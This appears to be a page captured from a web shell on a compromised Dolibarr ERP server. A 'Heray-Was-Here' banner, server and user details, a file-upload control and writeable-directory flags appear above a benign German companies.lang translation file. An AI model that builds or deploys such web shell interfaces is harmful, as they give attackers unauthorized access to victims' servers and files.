Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/langs/de_DE/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/langs/de_DE/companies.lang
# Dolibarr language file - Source file is en_US - companies
ErrorCompanyNameAlreadyExists=Firmenname %s bereits vorhanden. Bitte wÀhlen Sie einen anderen.
ErrorSetACountryFirst=WĂ€hlen Sie zuerst das Land
SelectThirdParty=GeschÀftspartner auswÀhlen
ConfirmDeleteCompany=Möchten Sie dieses Unternehmen und alle zugehörigen Informationen wirklich löschen?
DeleteContact=Löschen eines Kontakts/Adresse
ConfirmDeleteContact=Möchten Sie diesen Kontakt und alle zugehörigen Informationen wirklich löschen?
MenuNewThirdParty=Neuer GeschÀftspartner
MenuNewCustomer=Neuer Kunde
MenuNewProspect=Neuer Interessent
MenuNewSupplier=Neuer Lieferant
MenuNewPrivateIndividual=Neue Privatperson
NewCompany=Neue Firma  (Interessent, Kunde, Lieferant)
NewThirdParty=Neuer GeschÀftspartner (Interessent, Kunde, Lieferant)
CreateDolibarrThirdPartySupplier=neuen Lieferanten erstellen 
CreateThirdPartyOnly=GeschÀftspartner erstellen
CreateThirdPartyAndContact=Neuen GeschÀftspartner und Kontakt erstellen
ProspectionArea=Übersicht GeschĂ€ftsanbahnung
IdThirdParty=GeschÀftspartner-ID
IdCompany=Firmen-ID
IdContact=Kontakt-ID
ThirdPartyAddress=Adresse des GeschÀftspartners
ThirdPartyContacts=Partnerkontakte
ThirdPartyContact=GeschÀftspartner-Kontakt/-Adresse
Company=Firma
CompanyName=Firmenname
AliasNames=Alias-Name (GeschÀftsname, Marke, ...)
AliasNameShort=Alias-Name
Companies=Firmen
CountryIsInEEC=Land ist EU-Mitglied
PriceFormatInCurrentLanguage=Preisanzeigeformat in der aktuellen Sprache und WĂ€hrung
ThirdPartyName=Name des Partners
ThirdPartyEmail=GeschÀftspartner E-Mail
ThirdParty=GeschÀftspartner
ThirdParties=GeschÀftspartner
ThirdPartyProspects=Interessenten
ThirdPartyProspectsStats=Interessenten
ThirdPartyCustomers=Kunden
ThirdPartyCustomersStats=Kunden
ThirdPartyCustomersWithIdProf12=Kunden mit %s oder %s
ThirdPartySuppliers=Lieferanten
ThirdPartyType=GeschÀftspartner-Typ
Individual=Privatperson
ToCreateContactWithSameName=Erzeugt automatisch einen Kontakt/Adresse mit den gleichen Informationen wie der GeschĂ€ftspartner unter diesem GeschĂ€ftspartner. In den meisten FĂ€llen, auch wenn Ihr GeschĂ€ftspartner eine natĂŒrliche Person ist, reicht die Anlage eines GeschĂ€ftspartners aus.
ParentCompany=Muttergesellschaft
Subsidiaries=Tochtergesellschaften
ReportByMonth=Auswertung nach Monaten
ReportByCustomers=Auswertung nach Kunden
ReportByThirdparties=Auswertung nach GeschÀftspartnern
ReportByQuarter=Auswertung nach SteuersÀtzen
CivilityCode=Anrede
RegisteredOffice=Firmensitz
Lastname=Nachname
Firstname=Vorname
RefEmployee=Mitarbeiterreferenz
NationalRegistrationNumber=Nationale Registrierungsnummer
PostOrFunction=Position/Funktion
UserTitle=Anrede
NatureOfThirdParty=Art des GeschÀftspartners
NatureOfContact=Art des Kontakts
Address=Adresse
State=Bundesland
StateId=Staats-ID
StateCode=LĂ€nder-/Regioncode
StateShort=Staat
Region=Region
Region-State=Bundesland
Country=Land
CountryCode=LĂ€nderkennung
CountryId=LĂ€nder-ID
Phone=Telefon
PhoneShort=Tel.
Skype=Skype
Call=Anruf
Chat=Chat
PhonePro=Telefon (geschÀftl.)
PhonePerso=Telefon (privat)
PhoneMobile=Telefon (mobil)
No_Email=Keine E-Mail-Kampagne senden
Fax=Fax
Zip=PLZ
Town=Stadt
Web=Internet
Poste= Posten
DefaultLang=Standardsprache
VATIsUsed=Umsatzsteuerpflichtig
VATIsUsedWhenSelling=Festlegung, ob dieser GeschÀftspartner USt. auf seinen Kundenrechnungen ausweist
VATIsNotUsed=Umsatzsteuerbefreit
CopyAddressFromSoc=Adresse vom GeschĂ€ftspartner ĂŒbernehmen
ThirdpartyNotCustomerNotSupplierSoNoRef=GeschĂ€ftspartner ist weder Kunde noch Lieferant, keine Objekte zum verknĂŒpfen
ThirdpartyIsNeitherCustomerNorClientSoCannotHaveDiscounts=GeschĂ€ftspartner ist weder Kunde noch Lieferant, Rabatte sind nicht verfĂŒgbar
PaymentBankAccount=Bankkonto fĂŒr Zahlungen
OverAllProposals=Angebote
OverAllOrders=Bestellungen
OverAllInvoices=(Kunden-)Rechnungen
OverAllSupplierProposals=Preisanfragen
##### Local Taxes #####
LocalTax1IsUsed=Zweiten Steuersatz verwenden
LocalTax1IsUsedES= RE wird verwendet
LocalTax1IsNotUsedES= RE wird nicht verwendet
LocalTax2IsUsed=Dritten Steuersatz verwenden
LocalTax2IsUsedES= IRPF wird verwendet
LocalTax2IsNotUsedES= IRPF wird nicht verwendet
WrongCustomerCode=Kundencode ungĂŒltig
WrongSupplierCode=Lieferantennummer ist ungĂŒltig
CustomerCodeModel=Kundencode-Modell
SupplierCodeModel=Lieferantennummern-Modell
Gencod=Barcode
GencodBuyPrice=Barcode der Preis-Ref.
##### Professional ID #####
ProfId1Short=Prof. ID 1
ProfId2Short=Prof. ID 2
ProfId3Short=Prof. ID 3
ProfId4Short=Prof. ID 4
ProfId5Short=Prof. ID 5
ProfId6Short=Prof. ID 6
ProfId1=Professional ID 1
ProfId2=Professional ID 2
ProfId3=Professional ID 3
ProfId4=Professional ID 4
ProfId5=Professional ID 5
ProfId6=Professional ID 6
ProfId1AR=Steuernummer
ProfId2AR=Bruttoeinkommen
ProfId3AR=-
ProfId4AR=-
ProfId5AR=-
ProfId6AR=-
ProfId1AT=Steuernummer (Finanzamt)
ProfId2AT=Gerichtsstand
ProfId3AT=Firmenbuchnummer
ProfId4AT=DVR-Nummer
ProfId5AT=EORI-Nummer
ProfId6AT=-
ProfId1AU=Prof ID 1
ProfId2AU=-
ProfId3AU=-
ProfId4AU=-
ProfId5AU=-
ProfId6AU=-
ProfId1BE=Prof ID 1
ProfId2BE=-
ProfId3BE=-
ProfId4BE=-
ProfId5BE=EORI-Nummer
ProfId6BE=-
ProfId1BR=-
ProfId2BR=Bundes-/Landesbehörde
ProfId3BR=Kommunalbehörde
ProfId4BR=Bildungsgutschein
#ProfId5BR=CNAE
#ProfId6BR=INSS
ProfId1CH=UID-Nummer
ProfId2CH=-
ProfId3CH=Prof Id 1 (Federal number)
ProfId4CH=Prof Id 2 (Commercial Record number)
ProfId5CH=EORI-Nummer
ProfId6CH=-
ProfId1CL=Prof Id 1 (R.U.T.)
ProfId2CL=-
ProfId3CL=-
ProfId4CL=-
ProfId5CL=-
ProfId6CL=-
ProfId1CM=Prof. Id 1 (Handelsregister)
ProfId2CM=Prof. Id 2 (Steuer-Nr./Steuer-ID)
ProfId3CM=Prof. Id. 3 (Nr. der GrĂŒndungsurkunde)
ProfId4CM=Ausweis. Prof. 4 (Nr. der Einlagenbescheinigung)
ProfId5CM=ID Prof. 5 (Andere)
ProfId6CM=-
ProfId1ShortCM=Handelsregister
ProfId2ShortCM=Steuer-Nr./Steuer-ID
ProfId3ShortCM=Nr. der GrĂŒndungsurkunde
ProfId4ShortCM=Nr. der Einlagenbescheinigung
ProfId5ShortCM=Andere
ProfId6ShortCM=-
ProfId1CO=Prof Id 1 (R.U.T.)
ProfId2CO=-
ProfId3CO=-
ProfId4CO=-
ProfId5CO=-
ProfId6CO=-
ProfId1DE=Steuernummer
ProfId2DE=Amtsgericht
ProfId3DE=Handelsregister-Nummer
ProfId4DE=-
ProfId5DE=EORI-Nummer
ProfId6DE=-
ProfId1ES=NIF (Frankreich): Numéro d'identification fiscale\nCIF (Spanien): Código de identificación fiscal
ProfId2ES=Sozialversicherungsnummer
ProfId3ES=Klassifikation der Wirtschaftszweige
ProfId4ES=Stiftungsverzeichnis
ProfId5ES=Prof Id 5 (EORI-Nummer)
ProfId6ES=-
ProfId1FR=SIREN (Frankreich): SystÚme d'identification du répertoire des entreprises
ProfId2FR=SIRET (Frankreich): SystĂšme d’identification du rĂ©pertoire des Ă©tablissements
ProfId3FR=NAF (Frankreich): Statistik-Code
ProfId4FR=RCS (Frankreich): Registre du Commerce et des Sociétés\n(hier: Code im Handels- und Firmenregister)
ProfId5FR=Prof Id 5 (numéro EORI)
ProfId6FR=-
ProfId1ShortFR=SIREN
ProfId2ShortFR=SIRET
ProfId3ShortFR=NAF
ProfId4ShortFR=RCS
ProfId5ShortFR=EORI
ProfId6ShortFR=-
ProfId1GB=Registration Number
ProfId2GB=-
ProfId3GB=SIC
ProfId4GB=-
ProfId5GB=-
ProfId6GB=-
ProfId1HN=Id prof. 1 (RTN)
ProfId2HN=-
ProfId3HN=-
ProfId4HN=-
ProfId5HN=-
ProfId6HN=-
ProfId1IN=Prof Id 1 (TIN)
ProfId2IN=Prof Id 2 (PAN)
ProfId3IN=Prof Id 3 (SRVC TAX)
ProfId4IN=Prof ID 4
ProfId5IN=Prof ID 5
ProfId6IN=-
ProfId1IT=-
ProfId2IT=-
ProfId3IT=-
ProfId4IT=-
ProfId5IT=EORI-Nummer
ProfId6IT=-
ProfId1LU=R.C.S. Luxemburg
ProfId2LU=Prof ID 2 (Gewerbe-Erlaubnis)
ProfId3LU=-
ProfId4LU=-
ProfId5LU=EORI-Nummer
ProfId6LU=-
ProfId1MA=Prof ID 1  (R.C.)
ProfId2MA=Prof ID 2
ProfId3MA=Prof ID 3
ProfId4MA=Prof ID 4
ProfId5MA=Id prof. 5 (Identifiant Commun Entreprise)
ProfId6MA=-
ProfId1MX=Prof Id 1 (R.F.C).
ProfId2MX=Prof Id 2 (R..P. IMSS)
ProfId3MX=Prof ID 3
ProfId4MX=-
ProfId5MX=-
ProfId6MX=-
ProfId1NL=Prof ID 1 KVK (Handelsregister-Nummer)
ProfId2NL=-
ProfId3NL=-
ProfId4NL=Prof ID 2 BSN (BĂŒrgerservicenummer)
ProfId5NL=EORI-Nummer
ProfId6NL=-
ProfId1PT=Prof Id 1 (NIPC)
ProfId2PT=Prof Id 2 (Social security number)
ProfId3PT=Prof ID 3
ProfId4PT=Prof Id 4 (Conservatory)
ProfId5PT=Prof Id 5 (EORI-Nummer)
ProfId6PT=-
ProfId1SN=RC
ProfId2SN=NINEA
ProfId3SN=-
ProfId4SN=-
ProfId5SN=-
ProfId6SN=-
ProfId1TN=RC
ProfId2TN=Fiscal matricule
ProfId3TN=Douane-Code
ProfId4TN=BAN
ProfId5TN=-
ProfId6TN=-
ProfId1US=Prof Id (FEIN)
ProfId2US=-
ProfId3US=-
ProfId4US=-
ProfId5US=-
ProfId6US=-
ProfId1RO=Prof Id 1 (CUI)
ProfId2RO=Prof Id 2 (Nr. Înmatriculare)
ProfId3RO=Prof Id 3 (CAEN)
ProfId4RO=Prof Id 5 (EUID)
ProfId5RO=Prof Id 5 (EORI-Nummer)
ProfId6RO=-
ProfId1RU=OGRN
ProfId2RU=INN
ProfId3RU=KPP
ProfId4RU=OKPO
ProfId5RU=-
ProfId6RU=-
ProfId1UA=Prof. ID 1 (EDRPOU)
ProfId2UA=Prof. ID 2 (DRFO)
ProfId3UA=Prof. ID 3 (INN)
ProfId4UA=Prof. ID 4 (Zertifikat)
ProfId5UA=Prof. ID 5 (RNOKPP)
ProfId6UA=Prof. ID 6 (TRDPAU)
ProfId1DZ=RC
ProfId2DZ=Artikel
ProfId3DZ=Lieferantenidentifikationsnummer
ProfId4DZ=Kundenidentifikationsnummer
VATIntra=Umsatzsteuer-ID
VATIntraShort=USt-IdNr.
VATIntraSyntaxIsValid=Die Syntax ist gĂŒltig
VATReturn=Mehrwertsteuererstattung
ProspectCustomer=Interessent/Kunde
Prospect=Interessent
CustomerCard=Kunde – Übersicht
Customer=Kunde
CustomerRelativeDiscount=Kundenrabatt prozentual
SupplierRelativeDiscount=Lieferantenrabatt prozentual
CustomerRelativeDiscountShort=Rabatt prozentual
CustomerAbsoluteDiscountShort=Rabatt absolut
CompanyHasRelativeDiscount=Dieser Kunde hat einen Rabatt <b>von %s%%</b>
CompanyHasNoRelativeDiscount=Dieser Kunde hat standardmĂ€ĂŸig keinen prozentualen Rabatt
HasRelativeDiscountFromSupplier=Sie haben einen Standardrabatt von <b>%s%%</b> bei diesem Lieferanten
HasNoRelativeDiscountFromSupplier=Kein prozentualer Rabatt bei diesem Lieferanten
CompanyHasAbsoluteDiscount=Dieser Kunde hat ein Guthaben verfĂŒgbar (Gutschriften oder Anzahlungen) fĂŒr <b>%s</b> %s
CompanyHasDownPaymentOrCommercialDiscount=Dieser Kunde hat ein Guthaben verfĂŒgbar (Gutschriften oder Anzahlungen) fĂŒr<b>%s</b> %s
CompanyHasCreditNote=Dieser Kunde hat noch Gutschriften <b>ĂŒber %s %s</b>
HasNoAbsoluteDiscountFromSupplier=Keine Rabattgutschrift von diesem Lieferanten verfĂŒgbar
HasAbsoluteDiscountFromSupplier=Sie haben Rabatte (Gutschrift / Vorauszahlung) ĂŒber <b>%s</b>%s bei diesem Lieferanten verfĂŒgbar
HasDownPaymentOrCommercialDiscountFromSupplier=Sie haben Rabatte (Restguthaben / Vorauszahlung) ĂŒber <b>%s</b>%s bei diesem Lieferanten verfĂŒgbar
HasCreditNoteFromSupplier=Sie haben Gutschriften ĂŒber <b>%s</b>%s bei diesem Lieferanten verfĂŒgbar
CompanyHasNoAbsoluteDiscount=Dieser Kunde hat keine Rabattgutschrift zur VerfĂŒgung
CustomerAbsoluteDiscountAllUsers=Absolute Kundenrabatte (von allen Benutzern gewÀhrte)
CustomerAbsoluteDiscountMy=Absolute Kundenrabatte (durch Sie persönlich gewÀhrt)
SupplierAbsoluteDiscountAllUsers=Absolute Lieferantenrabatte (von allen Benutzern erfasste)
SupplierAbsoluteDiscountMy=Absolute Lieferantenrabatte (durch Sie persönlich erfasst)
DiscountNone=Keine
Vendor=Lieferant
Supplier=Lieferant
AddContact=Kontakt anlegen
AddContactAddress=Kontakt/Adresse anlegen
EditContact=Kontakt bearbeiten
EditContactAddress=Kontakt/Adresse bearbeiten
Contact=Kontakt/Adresse
Contacts=Kontakte/Adressen
ContactId=Kontakt-ID
ContactsAddresses=Kontakte/Adressen
FromContactName=Name:
NoContactDefinedForThirdParty=FĂŒr diesen GeschĂ€ftspartner ist kein Kontakt eingetragen
NoContactDefined=kein Kontakt fĂŒr diesen Partner
DefaultContact=Standardkontakt
ContactByDefaultFor=Standardkontakt/-Adresse fĂŒr
AddThirdParty=GeschÀftspartner erstellen
DeleteACompany=Löschen eines Unternehmens
PersonalInformations=Persönliche Daten
AccountancyCode=Buchungskonto
CustomerCode=Kundennummer
SupplierCode=Lieferantennummer
CustomerCodeShort=Kunden-Nr.
SupplierCodeShort=Lieferantennummer
CustomerCodeDesc=eindeutige Kundennummer
SupplierCodeDesc=eindeutige Lieferantennummer
RequiredIfCustomer=Erforderlich, falls GeschÀftspartner Kunde oder Interessent ist
RequiredIfSupplier=Erforderlich, falls GeschÀftspartner Lieferant ist
ValidityControledByModule=Vom Modul kontrollierte GĂŒltigkeit
ThisIsModuleRules=Regeln fĂŒr dieses Modul
ProspectToContact=Zu kontaktierender Interessent
CompanyDeleted=Unternehmen "%s" aus der Datenbank gelöscht.
ListOfContacts=Liste der Kontakte
ListOfContactsAddresses=Liste der Kontakte
ListOfThirdParties=Liste der GeschÀftspartner
ShowCompany=GeschÀftspartner
ShowContact=Kontakt-Adresse
ContactsAllShort=Alle  (kein Filter)
ContactType=Rolle des Kontakts
ContactForOrders=Bestellungskontakt
ContactForOrdersOrShipments=Kontakt fĂŒr den Auftrag oder die Lieferung
ContactForProposals=Angebotskontakt
ContactForContracts=Vertragskontakt
ContactForInvoices=Rechnungskontakt
NoContactForAnyOrder=Kein Kontakt fĂŒr Bestellungen definiert
NoContactForAnyOrderOrShipments=Dieser Kontakt kann nicht fĂŒr AuftrĂ€ge oder Lieferungen verwendet werden
NoContactForAnyProposal=Kein Kontakt fĂŒr Angebote definiert
NoContactForAnyContract=Kein Kontakt fĂŒr VertrĂ€ge definiert
NoContactForAnyInvoice=Kein Kontakt fĂŒr Rechnungen definiert
NewContact=Neuer Kontakt
NewContactAddress=Neue(r) Kontakt/Adresse
MyContacts=meine Kontakte
Capital=Kapital
CapitalOf=Stammkapital: %s
EditCompany=Unternehmen bearbeiten
ThisUserIsNot=Dieser Benutzer ist weder ein Interessent, noch ein Kunde oder Lieferant
VATIntraCheck=PrĂŒfen
VATIntraCheckDesc=Die Umsatzsteuer-ID muss das LĂ€nderprĂ€fix enthalten. Der Link <b> %s </b> startet eine Anfrage am MwSt-Informationsaustauschsystem (MIAS) der EuropĂ€ischen Kommission. HierfĂŒr ist ein ein Internetzugang vom Dolibarr-Server erforderlich.
VATIntraCheckURL=http://ec.europa.eu/taxation_customs/vies/vieshome.do
VATIntraCheckableOnEUSite=ÜberprĂŒfungsergebnis des MwSt-Informationsaustauschsystems (MIAS)
VATIntraManualCheck=Sie können die ÜberprĂŒfung auch manuell auf der Internetseite der EuropĂ€ische Kommission durchfĂŒhren: <a href="%s" target="_blank" rel="noopener noreferrer">%s</a>
ErrorVATCheckMS_UNAVAILABLE=Anfrage nicht möglich. ÜberprĂŒfungsdienst wird vom Mitgliedsland nicht angeboten (%s).
NorProspectNorCustomer=kein Interessent / kein Kunde
JuridicalStatus=Unternehmensform
Workforce=Mitarbeiter/innen
Staff=Mitarbeiter
ProspectLevelShort=Potenzial
ProspectLevel=Interessenten-Potenzial
ContactPrivate=privat
ContactPublic=öffentlich
ContactVisibility=Sichtbarkeit
ContactOthers=Sonstige
OthersNotLinkedToThirdParty=Weitere mit keinem GeschĂ€ftspartner verknĂŒpfte Projekte
ProspectStatus=Lead-Status
PL_NONE=Keine
PL_UNKNOWN=Unbekannt
PL_LOW=Niedrig
PL_MEDIUM=Mittel
PL_HIGH=Hoch
TE_UNKNOWN=-
TE_STARTUP=Startup
TE_GROUP=Großunternehmen
TE_MEDIUM=Mittleres Unternehmen
TE_ADMIN=Staatliches Unternehmen
TE_SMALL=Kleinunternehmen
TE_RETAIL=EinzelhÀndler
TE_WHOLE=GrosshÀndler
TE_PRIVATE=Privatperson
TE_OTHER=Andere
StatusProspect-1=nicht kontaktieren
StatusProspect0=noch nie kontaktiert
StatusProspect1=Zu kontaktieren
StatusProspect2=Kontaktierung lÀuft
StatusProspect3=erfolgreich kontaktiert
ChangeDoNotContact=Status auf 'Nicht kontaktieren' Àndern
ChangeNeverContacted=Status auf 'Noch keine Kontaktaufnahme' Àndern
ChangeToContact=Status auf 'Zu kontaktieren' Àndern
ChangeContactInProcess=Status auf 'Kontaktaufnahme lÀuft' Àndern
ChangeContactDone=Status auf 'Erfolgreich kontaktiert' Àndern
ProspectsByStatus=Interessenten nach Status
NoParentCompany=keine Muttergesellschaft
ExportCardToFormat=Karte in Format exportieren
ContactNotLinkedToCompany=Kontakt ist keinem GeschÀftspartner zugeordnet
DolibarrLogin=Dolibarr-Benutzername
NoDolibarrAccess=Kein Dolibarr-Zugang
ExportDataset_company_1=GeschĂ€ftspartner (Firmen/Stiftungen/NatĂŒrliche Personen) und ihre Eigenschaften
ExportDataset_company_2=Kontakte und ihre Eigenschaften
ImportDataset_company_1=GeschÀftspartner und ihre Eigenschaften
ImportDataset_company_2=Kontakte/Adressen und Attribute
ImportDataset_company_3=Bankkonten des GeschÀftspartners
ImportDataset_company_4=Dem GeschÀftspartner zugeordneter Vertriebsmitarbeiter (Vertriebsmitarbeiter/Benutzer zu Unternehmen zuordnen)
PriceLevel=Preisstufe
PriceLevelLabels=Preisniveau Etiketten
DeliveryAddress=Lieferadresse
AddAddress=Adresse hinzufĂŒgen
SupplierCategory=Lieferantenkategorie
JuridicalStatus200=UnabhÀngig
DeleteFile=Datei löschen
ConfirmDeleteFile=Möchten Sie diese Datei wirklich löschen?
AllocateCommercial=Diesem Vertriebsmitarbeiter zugeordnet
Organization=Organisation
FiscalYearInformation=GeschÀftsjahr
FiscalMonthStart=erster Monat des GeschÀftsjahres
SocialNetworksInformation=Soziale Netzwerke
SocialNetworksFacebookURL=Facebook URL
SocialNetworksTwitterURL=Twitter URL
SocialNetworksLinkedinURL=Linkedin URL
SocialNetworksInstagramURL=Instagram URL
SocialNetworksYoutubeURL=Youtube URL
SocialNetworksGithubURL=Github URL
YouMustAssignUserMailFirst=Sie mĂŒssen zunĂ€chst eine E-Mail-Adresse fĂŒr diesen Benutzer anlegen, um E-Mail-Benachrichtigungen zu ermöglichen.
YouMustCreateContactFirst=Um E-Mail-Benachrichtigungen anlegen zu können, mĂŒssen Sie zunĂ€chst einen Kontakt mit gĂŒltiger E-Mail-Adresse zum GeschĂ€ftspartner hinzufĂŒgen.
ListSuppliersShort=Liste der Lieferanten
ListProspectsShort=Liste der Interessenten
ListCustomersShort=Liste der Kunden
ThirdPartiesArea=GeschÀftspartner und Kontakte
LastModifiedThirdParties=Zuletzt bearbeitete GeschÀftspartner (maximal %s)
UniqueThirdParties=Gesamtzahl der GeschÀftspartner
InActivity=aktiv
ActivityCeased=inaktiv
ThirdPartyIsClosed=Der GeschÀftspartner ist inaktiv.
ProductsIntoElements=Liste der Produkte/Leistungen, die %s zugeordnet sind
CurrentOutstandingBill=Ausstehender Rechnungsbetrag
OutstandingBill=Max. fĂŒr ausstehende RechnungsbetrĂ€ge
OutstandingBillReached=Kreditlimite erreicht
OrderMinAmount=Mindestbestellwert
MonkeyNumRefModelDesc=Gibt eine Zahl im Format %syymm-nnnn fĂŒr den Kundencode und %syymm-nnnn fĂŒr den Herstellercode zurĂŒck, wobei yy das Jahr, mm der Monat und nnnn eine sequenzielle automatisch inkrementierende Zahl ohne Unterbrechung und ZurĂŒcksetzung zu 0 ist.
LeopardNumRefModelDesc=Kunden / Lieferanten-Code ist frei. Dieser Code kann jederzeit geÀndert werden.
ManagingDirectors=Name(n) des/der Manager (CEO, Direktor, GeschĂ€ftsfĂŒhrer, ...)
MergeOriginThirdparty=GeschÀftspartner duplizieren (GeschÀftspartner, den Sie löschen möchten)
MergeThirdparties=GeschĂ€ftspartner zusammenfĂŒhren
ConfirmMergeThirdparties=Sind Sie sicher, dass Sie den ausgewĂ€hlten GeschĂ€ftspartner mit dem aktuellen zusammenfĂŒhren möchten? \nAlle verknĂŒpften Objekte (Rechnungen, Bestellungen, ...) werden zum aktuellen GeschĂ€ftspartner verschoben, danach wird der ausgewĂ€hlte GeschĂ€ftspartner gelöscht.
ThirdpartiesMergeSuccess=GeschĂ€ftspartner wurden zusammenfĂŒhrt
SaleRepresentativeLogin=Login des Vertriebsmitarbeiters
SaleRepresentativeFirstname=Vorname des Vertreter
SaleRepresentativeLastname=Nachname des Vertreter
ErrorThirdpartiesMerge=Es gab einen Fehler beim Löschen des Partners. Bitte Details sind im Prokoll zu finden. Die Löschung wurden rĂŒckgĂ€ngig gemacht.
NewCustomerSupplierCodeProposed=Kunden- oder Lieferantennummer wird bereits verwendet. \nEine neue Nummer wird empfohlen.
KeepEmptyIfGenericAddress=Lassen Sie dieses Feld leer, wenn diese Adresse eine generische Adresse ist
#Imports
PaymentTypeCustomer=Zahlungsart - Kunde
PaymentTermsCustomer=Zahlungsbedingungen - Kunde
PaymentTypeSupplier=Zahlungsart - Lieferant
PaymentTermsSupplier=Zahlungsbedingungen - Lieferant
PaymentTypeBoth=Zahlungsart - Kunde und Lieferant
MulticurrencyUsed=Mehrere WĂ€hrungen benutzen
MulticurrencyCurrency=WĂ€hrung
InEEC=Europa (EU / EWG)
RestOfEurope=ĂŒbriges Europa (EU / EWG)
OutOfEurope=außerhalb Europas (EU / EWG)
CurrentOutstandingBillLate=Offene Posten
BecarefullChangeThirdpartyBeforeAddProductToInvoice=Seien Sie vorsichtig: AbhĂ€ngig von Ihren Produktpreiseinstellungen sollten Sie den GeschĂ€ftspartner wechseln, bevor Sie das Produkt zum POS hinzufĂŒgen.

Hry